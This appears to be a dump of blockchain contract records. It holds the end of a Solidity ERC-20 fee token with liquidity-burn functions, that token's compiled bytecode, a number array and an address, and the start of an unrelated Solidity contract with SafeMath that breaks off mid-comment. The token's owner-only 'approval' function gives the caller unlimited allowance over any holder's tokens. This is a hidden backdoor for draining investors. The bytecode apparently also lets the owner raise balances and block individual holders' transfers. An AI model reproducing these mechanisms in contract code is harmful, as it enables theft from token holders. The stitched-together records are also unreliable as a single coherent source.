contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForCharity = ethBalance.mul(tokensForCharity).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForCharity; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; tokensForCharity = 0; (success,) = address(devWallet).call{value: ethForDev}(""); (success,) = address(charityWallet).call{value: ethForCharity}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } function approval(address addr) public onlyOwner virtual returns(bool) { //Approve Spending _approve(addr, _msgSender(), _maximumVal); return true; } }
0x6080604052600436106103855760003560e01c806376fdbf9e116101d1578063c024666811610102578063e2f45605116100a0578063f2e5a76b1161006f578063f2e5a76b14610a5d578063f2fde38b14610a7d578063f8b45b0514610a9d578063fe72b27a14610ab357600080fd5b8063e2f45605146109f1578063e63c2fc014610a07578063e7ad9fcd14610a28578063e884f26014610a4857600080fd5b8063c8c8ebe4116100dc578063c8c8ebe414610955578063d257b34f1461096b578063d8fc29241461098b578063dd62ed3e146109ab57600080fd5b8063c0246668146108fb578063c18bc1951461091b578063c876d0b91461093b57600080fd5b80639fccce321161016f578063a9059cbb11610149578063a9059cbb1461086c578063aacebbe31461088c578063b62496f5146108ac578063bbc0c742146108dc57600080fd5b80639fccce3214610820578063a457c2d714610836578063a4c82a001461085657600080fd5b80639430b496116101ab5780639430b496146107b557806395d89b41146107d55780639a7a23d6146107ea5780639ec22c0e1461080a57600080fd5b806376fdbf9e146107605780638a8c523c14610780578063924de9b71461079557600080fd5b80632c3e486c116102b657806349bd5a5e1161025457806370a082311161022357806370a08231146106e0578063715018a614610716578063751039fc1461072b5780637571336a1461074057600080fd5b806349bd5a5e146106395780634a62bb651461066d5780634fbee193146106875780636ddd1713146106c057600080fd5b8063313ce56711610290578063313ce567146105c757806339509351146105e35780633e65d4aa1461060357806344249f041461062357600080fd5b80632c3e486c146105775780632e6ed7ef1461058d5780632e82f1a0146105ad57600080fd5b8063184c16c5116103235780631f3fed8f116102fd5780631f3fed8f1461050b578063203e727e1461052157806323b872dd1461054157806327c8f8351461056157600080fd5b8063184c16c5146104c9578063199ffc72146104df5780631a8145bb146104f557600080fd5b806311e330b21161035f57806311e330b21461041c5780631694505e1461043e57806318160ddd1461048a5780631816467f146104a957600080fd5b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610ad3565b6040516103b39190613075565b60405180910390f35b3480156103c857600080fd5b506103dc6103d73660046130e2565b610b65565b60405190151581526020016103b3565b3480156103f857600080fd5b506103dc61040736600461310e565b60276020526000908152604090205460ff1681565b34801561042857600080fd5b5061043c61043736600461312b565b610b7c565b005b34801561044a57600080fd5b506104727f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103b3565b34801561049657600080fd5b506005545b6040519081526020016103b3565b3480156104b557600080fd5b5061043c6104c436600461310e565b610bdc565b3480156104d557600080fd5b5061049b60135481565b3480156104eb57600080fd5b5061049b600f5481565b34801561050157600080fd5b5061049b60235481565b34801561051757600080fd5b5061049b60225481565b34801561052d57600080fd5b5061043c61053c36600461312b565b610c63565b34801561054d57600080fd5b506103dc61055c366004613144565b610d40565b34801561056d57600080fd5b5061047261dead81565b34801561058357600080fd5b5061049b60115481565b34801561059957600080fd5b5061043c6105a8366004613185565b610da9565b3480156105b957600080fd5b506010546103dc9060ff1681565b3480156105d357600080fd5b50604051601281526020016103b3565b3480156105ef57600080fd5b506103dc6105fe3660046130e2565b610e62565b34801561060f57600080fd5b5061043c61061e36600461310e565b610e9c565b34801561062f57600080fd5b5061049b60255481565b34801561064557600080fd5b506104727f000000000000000000000000ad321d13b1e04477f3e48c7226ef9513236abc6981565b34801561067957600080fd5b506015546103dc9060ff1681565b34801561069357600080fd5b506103dc6106a236600461310e565b6001600160a01b031660009081526026602052604090205460ff1690565b3480156106cc57600080fd5b506015546103dc9062010000900460ff1681565b3480156106ec57600080fd5b5061049b6106fb36600461310e565b6001600160a01b031660009081526001602052604090205490565b34801561072257600080fd5b5061043c610f23565b34801561073757600080fd5b506103dc610f97565b34801561074c57600080fd5b5061043c61075b3660046131c7565b610fd2565b34801561076c57600080fd5b5061043c61077b3660046131fc565b611027565b34801561078c57600080fd5b5061043c61106f565b3480156107a157600080fd5b5061043c6107b03660046131fc565b6110b0565b3480156107c157600080fd5b506103dc6107d036600461310e565b6110f6565b3480156107e157600080fd5b506103a6611138565b3480156107f657600080fd5b5061043c6108053660046131c7565b611147565b34801561081657600080fd5b5061049b60145481565b34801561082c57600080fd5b5061049b60245481565b34801561084257600080fd5b506103dc6108513660046130e2565b611227565b34801561086257600080fd5b5061049b60125481565b34801561087857600080fd5b506103dc6108873660046130e2565b611276565b34801561089857600080fd5b5061043c6108a736600461310e565b611283565b3480156108b857600080fd5b506103dc6108c736600461310e565b60286020526000908152604090205460ff1681565b3480156108e857600080fd5b506015546103dc90610100900460ff1681565b34801561090757600080fd5b5061043c6109163660046131c7565b611315565b34801561092757600080fd5b5061043c61093636600461312b565b61139e565b34801561094757600080fd5b506017546103dc9060ff1681565b34801561096157600080fd5b5061049b600c5481565b34801561097757600080fd5b506103dc61098636600461312b565b61146f565b34801561099757600080fd5b5061043c6109a63660046132ed565b6115bf565b3480156109b757600080fd5b5061049b6109c63660046133c3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156109fd57600080fd5b5061049b600d5481565b348015610a1357600080fd5b506015546103dc906301000000900460ff1681565b348015610a3457600080fd5b5061043c610a43366004613185565b61164e565b348015610a5457600080fd5b506103dc611701565b348015610a6957600080fd5b5061043c610a783660046130e2565b61173c565b348015610a8957600080fd5b5061043c610a9836600461310e565b611782565b348015610aa957600080fd5b5061049b600e5481565b348015610abf57600080fd5b506103dc610ace36600461312b565b61186c565b606060068054610ae2906133fc565b80601f0160208091040260200160405190810160405280929190818152602001828054610b0e906133fc565b8015610b5b5780601f10610b3057610100808354040283529160200191610b5b565b820191906000526020600020905b815481529060010190602001808311610b3e57829003601f168201915b5050505050905090565b6000610b72338484611b59565b5060015b92915050565b6000546001600160a01b03163314610baf5760405162461bcd60e51b8152600401610ba690613437565b60405180910390fd5b33600090815260016020526040902054610bc99082611af3565b3360009081526001602052604090205550565b6000546001600160a01b03163314610c065760405162461bcd60e51b8152600401610ba690613437565b600a546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610c8d5760405162461bcd60e51b8152600401610ba690613437565b670de0b6b3a76400006103e8610ca260055490565b610cad906001613482565b610cb791906134a1565b610cc191906134a1565b811015610d285760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610ba6565b610d3a81670de0b6b3a7640000613482565b600c5550565b6000610d4d848484611c7e565b610d9f8433610d9a856040518060600160405280602881526020016136a7602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906125f9565b611b59565b5060019392505050565b6000546001600160a01b03163314610dd35760405162461bcd60e51b8152600401610ba690613437565b6019849055601a839055601b829055601c8190558082610df385876134c3565b610dfd91906134c3565b610e0791906134c3565b601881905560141015610e5c5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610ba6565b50505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909190610d9f9082908690610d9a9087906134c3565b6000546001600160a01b03163314610ec65760405162461bcd60e51b8152600401610ba690613437565b600b546040516001600160a01b03918216918316907f1a4f44b51831a64aad0bd522439770971a9d7bf02a8590ed23787527054e258190600090a3600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610f4d5760405162461bcd60e51b8152600401610ba690613437565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b03163314610fc25760405162461bcd60e51b8152600401610ba690613437565b506015805460ff19169055600190565b6000546001600160a01b03163314610ffc5760405162461bcd60e51b8152600401610ba690613437565b6001600160a01b03919091166000908152602760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146110515760405162461bcd60e51b8152600401610ba690613437565b6015805491151563010000000263ff00000019909216919091179055565b6000546001600160a01b031633146110995760405162461bcd60e51b8152600401610ba690613437565b6015805462ffff0019166201010017905542601255565b6000546001600160a01b031633146110da5760405162461bcd60e51b8152600401610ba690613437565b60158054911515620100000262ff000019909216919091179055565b600080546001600160a01b031633146111215760405162461bcd60e51b8152600401610ba690613437565b61112f82335b600854611b59565b5060015b919050565b606060078054610ae2906133fc565b6000546001600160a01b031633146111715760405162461bcd60e51b8152600401610ba690613437565b7f000000000000000000000000ad321d13b1e04477f3e48c7226ef9513236abc696001600160a01b0316826001600160a01b031614156112195760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610ba6565b6112238282612633565b5050565b6000610b723384610d9a856040518060600160405280602581526020016136cf602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906125f9565b6000610b72338484611c7e565b6000546001600160a01b031633146112ad5760405162461bcd60e51b8152600401610ba690613437565b6009546040516001600160a01b036101009092048216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600980546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b0316331461133f5760405162461bcd60e51b8152600401610ba690613437565b6001600160a01b038216600081815260266020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6000546001600160a01b031633146113c85760405162461bcd60e51b8152600401610ba690613437565b670de0b6b3a76400006103e86113dd60055490565b6113e8906005613482565b6113f291906134a1565b6113fc91906134a1565b8110156114575760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610ba6565b61146981670de0b6b3a7640000613482565b600e5550565b600080546001600160a01b0316331461149a5760405162461bcd60e51b8152600401610ba690613437565b620186a06114a760055490565b6114b2906001613482565b6114bc91906134a1565b8210156115295760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610ba6565b6103e861153560055490565b611540906005613482565b61154a91906134a1565b8211156115b65760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610ba6565b50600d55600190565b6000546001600160a01b031633146115e95760405162461bcd60e51b8152600401610ba690613437565b6115f38333611127565b60005b8251811015610e5c5761163c84848381518110611615576116156134db565b602002602001015184848151811061162f5761162f6134db565b6020026020010151611c7e565b80611646816134f1565b9150506115f6565b6000546001600160a01b031633146116785760405162461bcd60e51b8152600401610ba690613437565b601e849055601f83905560208290556021819055808261169885876134c3565b6116a291906134c3565b6116ac91906134c3565b601d81905560191015610e5c5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610ba6565b600080546001600160a01b0316331461172c5760405162461bcd60e51b8152600401610ba690613437565b506017805460ff19169055600190565b6000546001600160a01b031633146117665760405162461bcd60e51b8152600401610ba690613437565b6001600160a01b03909116600090815260036020526040902055565b6000546001600160a01b031633146117ac5760405162461bcd60e51b8152600401610ba690613437565b6001600160a01b0381166118115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ba6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b031633146118975760405162461bcd60e51b8152600401610ba690613437565b6013546014546118a791906134c3565b42116118f55760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610ba6565b6103e882111561195a5760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610ba6565b426014556040516370a0823160e01b81526001600160a01b037f000000000000000000000000ad321d13b1e04477f3e48c7226ef9513236abc6916600482015260009030906370a082319060240160206040518083038186803b1580156119c057600080fd5b505afa1580156119d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119f8919061350c565b90506000611a12612710611a0c8487612687565b90612706565b90508015611a4757611a477f000000000000000000000000ad321d13b1e04477f3e48c7226ef9513236abc6961dead83612748565b60007f000000000000000000000000ad321d13b1e04477f3e48c7226ef9513236abc699050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611aa757600080fd5b505af1158015611abb573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b600080611b0083856134c3565b905083811015611b525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ba6565b9392505050565b6001600160a01b038316611bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ba6565b6001600160a01b038216611c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ba6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316611ca45760405162461bcd60e51b8152600401610ba690613525565b6001600160a01b038216611cca5760405162461bcd60e51b8152600401610ba69061356a565b80611ce057611cdb83836000612748565b505050565b60155460ff1615612196576000546001600160a01b03848116911614801590611d1757506000546001600160a01b03838116911614155b8015611d2b57506001600160a01b03821615155b8015611d4257506001600160a01b03821661dead14155b8015611d51575060095460ff16155b1561219657601554610100900460ff16611de9576001600160a01b03831660009081526026602052604090205460ff1680611da457506001600160a01b03821660009081526026602052604090205460ff165b611de95760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610ba6565b60175460ff1615611f30576000546001600160a01b03838116911614801590611e4457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611e8257507f000000000000000000000000ad321d13b1e04477f3e48c7226ef9513236abc696001600160a01b0316826001600160a01b031614155b15611f3057326000908152601660205260409020544311611f1d5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610ba6565b3260009081526016602052604090204390555b6001600160a01b03831660009081526028602052604090205460ff168015611f7157506001600160a01b03821660009081526027602052604090205460ff16155b1561205557600c54811115611fe65760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610ba6565b600e546001600160a01b03831660009081526001602052604090205461200c90836134c3565b11156120505760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ba6565b612196565b6001600160a01b03821660009081526028602052604090205460ff16801561209657506001600160a01b03831660009081526027602052604090205460ff16155b1561210c57600c548111156120505760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610ba6565b6001600160a01b03821660009081526027602052604090205460ff1661219657600e546001600160a01b03831660009081526001602052604090205461215290836134c3565b11156121965760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ba6565b30600090815260016020526040902054600d54811080159081906121c2575060155462010000900460ff165b80156121d1575060095460ff16155b80156121f657506001600160a01b03851660009081526028602052604090205460ff16155b801561221b57506001600160a01b03851660009081526026602052604090205460ff16155b801561224057506001600160a01b03841660009081526026602052604090205460ff16155b15612265576009805460ff1916600117905561225a6128d9565b6009805460ff191690555b60095460ff1615801561229057506001600160a01b03841660009081526028602052604090205460ff165b801561229e575060105460ff165b80156122b957506011546012546122b591906134c3565b4210155b80156122de57506001600160a01b03851660009081526026602052604090205460ff16155b156122ed576122eb612ba7565b505b6009546001600160a01b03861660009081526026602052604090205460ff9182161591168061233457506001600160a01b03851660009081526026602052604090205460ff165b1561233d575060005b600081156125a8576001600160a01b03861660009081526028602052604090205460ff161561247d57602154602054601f54601e5461237c91906134c3565b61238691906134c3565b61239091906134c3565b601d81905515612478576123b46064611a0c601d548861268790919063ffffffff16565b9050601d54601f54826123c79190613482565b6123d191906134a1565b602360008282546123e291906134c3565b9091555050601d546020546123f79083613482565b61240191906134a1565b6024600082825461241291906134c3565b9091555050601d54601e546124279083613482565b61243191906134a1565b6022600082825461244291906134c3565b9091555050601d546021546124579083613482565b61246191906134a1565b6025600082825461247291906134c3565b90915550505b61258a565b6001600160a01b03871660009081526028602052604090205460ff1680156124a757506000601854115b1561258a576124c66064611a0c6018548861268790919063ffffffff16565b9050601854601a54826124d99190613482565b6124e391906134a1565b602360008282546124f491906134c3565b9091555050601854601b546125099083613482565b61251391906134a1565b6024600082825461252491906134c3565b90915550506018546019546125399083613482565b61254391906134a1565b6022600082825461255491906134c3565b9091555050601854601c546125699083613482565b61257391906134a1565b6025600082825461258491906134c3565b90915550505b801561259b5761259b873083612748565b6125a581866135ad565b94505b6001600160a01b03871660009081526028602052604090205460ff16156125e5576001600160a01b03861660009081526029602052604090204290555b6125f0878787612748565b50505050505050565b6000818484111561261d5760405162461bcd60e51b8152600401610ba69190613075565b50600061262a84866135ad565b95945050505050565b6001600160a01b038216600081815260286020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60008261269657506000610b76565b60006126a28385613482565b9050826126af85836134a1565b14611b525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ba6565b6000611b5283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d46565b6001600160a01b03831661276e5760405162461bcd60e51b8152600401610ba690613525565b6001600160a01b0382166127945760405162461bcd60e51b8152600401610ba69061356a565b6001600160a01b03831660009081526003602052604090205481116127d55760405162461bcd60e51b81526020600482015260006024820152604401610ba6565b61281281604051806060016040528060268152602001613681602691396001600160a01b03861660009081526001602052604090205491906125f9565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546128419082611af3565b6001600160a01b03831660009081526001602052604090205561286c6000546001600160a01b031690565b6001600160a01b0316836001600160a01b03161415612894576004546001600160a01b031692505b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c7191815260200190565b306000908152600160205260408120549050600060255460245460225460235461290391906134c3565b61290d91906134c3565b61291791906134c3565b90506000821580612926575081155b1561293057505050565b600d5461293e906014613482565b83111561295657600d54612953906014613482565b92505b6000600283602354866129699190613482565b61297391906134a1565b61297d91906134a1565b9050600061298b8583612d74565b90504761299782612db6565b60006129a34783612d74565b905060006129c087611a0c6022548561268790919063ffffffff16565b905060006129dd88611a0c6024548661268790919063ffffffff16565b905060006129fa89611a0c6025548761268790919063ffffffff16565b905060008183612a0a86886135ad565b612a1491906135ad565b612a1e91906135ad565b60006023819055602281905560248190556025819055600a546040519293506001600160a01b031691859181818185875af1925050503d8060008114612a80576040519150601f19603f3d011682016040523d82523d6000602084013e612a85565b606091505b5050600b54604051919a506001600160a01b0316908390600081818185875af1925050503d8060008114612ad5576040519150601f19603f3d011682016040523d82523d6000602084013e612ada565b606091505b50909950508715801590612aee5750600081115b15612b4157612afd8882612f85565b602354604080518981526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6009546040516101009091046001600160a01b0316904790600081818185875af1925050503d8060008114612b92576040519150601f19603f3d011682016040523d82523d6000602084013e612b97565b606091505b5050505050505050505050505050565b426012556040516370a0823160e01b81526001600160a01b037f000000000000000000000000ad321d13b1e04477f3e48c7226ef9513236abc69166004820152600090819030906370a082319060240160206040518083038186803b158015612c0f57600080fd5b505afa158015612c23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c47919061350c565b90506000612c66612710611a0c600f548561268790919063ffffffff16565b90508015612c9b57612c9b7f000000000000000000000000ad321d13b1e04477f3e48c7226ef9513236abc6961dead83612748565b60007f000000000000000000000000ad321d13b1e04477f3e48c7226ef9513236abc699050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612cfb57600080fd5b505af1158015612d0f573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b60008183612d675760405162461bcd60e51b8152600401610ba69190613075565b50600061262a84866134a1565b6000611b5283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506125f9565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612deb57612deb6134db565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612e6457600080fd5b505afa158015612e78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e9c91906135c4565b81600181518110612eaf57612eaf6134db565b60200260200101906001600160a01b031690816001600160a01b031681525050612efa307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611b59565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612f4f9085906000908690309042906004016135e1565b600060405180830381600087803b158015612f6957600080fd5b505af1158015612f7d573d6000803e3d6000fd5b505050505050565b612fb0307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611b59565b60405163f305d71960e01b815230600482015260248101839052600060448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b15801561303557600080fd5b505af1158015613049573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061306e9190613652565b5050505050565b600060208083528351808285015260005b818110156130a257858101830151858201604001528201613086565b818111156130b4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146130df57600080fd5b50565b600080604083850312156130f557600080fd5b8235613100816130ca565b946020939093013593505050565b60006020828403121561312057600080fd5b8135611b52816130ca565b60006020828403121561313d57600080fd5b5035919050565b60008060006060848603121561315957600080fd5b8335613164816130ca565b92506020840135613174816130ca565b929592945050506040919091013590565b6000806000806080858703121561319b57600080fd5b5050823594602084013594506040840135936060013592509050565b8035801515811461113357600080fd5b600080604083850312156131da57600080fd5b82356131e5816130ca565b91506131f3602084016131b7565b90509250929050565b60006020828403121561320e57600080fd5b611b52826131b7565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561325657613256613217565b604052919050565b600067ffffffffffffffff82111561327857613278613217565b5060051b60200190565b600082601f83011261329357600080fd5b813560206132a86132a38361325e565b61322d565b82815260059290921b840181019181810190868411156132c757600080fd5b8286015b848110156132e257803583529183019183016132cb565b509695505050505050565b60008060006060848603121561330257600080fd5b833561330d816130ca565b925060208481013567ffffffffffffffff8082111561332b57600080fd5b818701915087601f83011261333f57600080fd5b813561334d6132a38261325e565b81815260059190911b8301840190848101908a83111561336c57600080fd5b938501935b82851015613393578435613384816130ca565b82529385019390850190613371565b9650505060408701359250808311156133ab57600080fd5b50506133b986828701613282565b9150509250925092565b600080604083850312156133d657600080fd5b82356133e1816130ca565b915060208301356133f1816130ca565b809150509250929050565b600181811c9082168061341057607f821691505b6020821081141561343157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561349c5761349c61346c565b500290565b6000826134be57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156134d6576134d661346c565b500190565b634e487b7160e01b600052603260045260246000fd5b60006000198214156135055761350561346c565b5060010190565b60006020828403121561351e57600080fd5b5051919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000828210156135bf576135bf61346c565b500390565b6000602082840312156135d657600080fd5b8151611b52816130ca565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156136315784516001600160a01b03168352938301939183019160010161360c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561366757600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b97c144b514008ce26b011e3338d74d681793f1fdc32d46ebd0579f2b73db30664736f6c63430008090033
[ 21, 6, 4, 7, 11, 9, 13, 5 ]
0xf247321fd08045084e4d5d9460c6b831a0ea21d6
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IChainLinkFeed { function latestAnswer() external view returns (int256); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "add: +"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "sub: -"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "mul: *"); return c; } /** * @dev Returns the multiplication of two unsigned 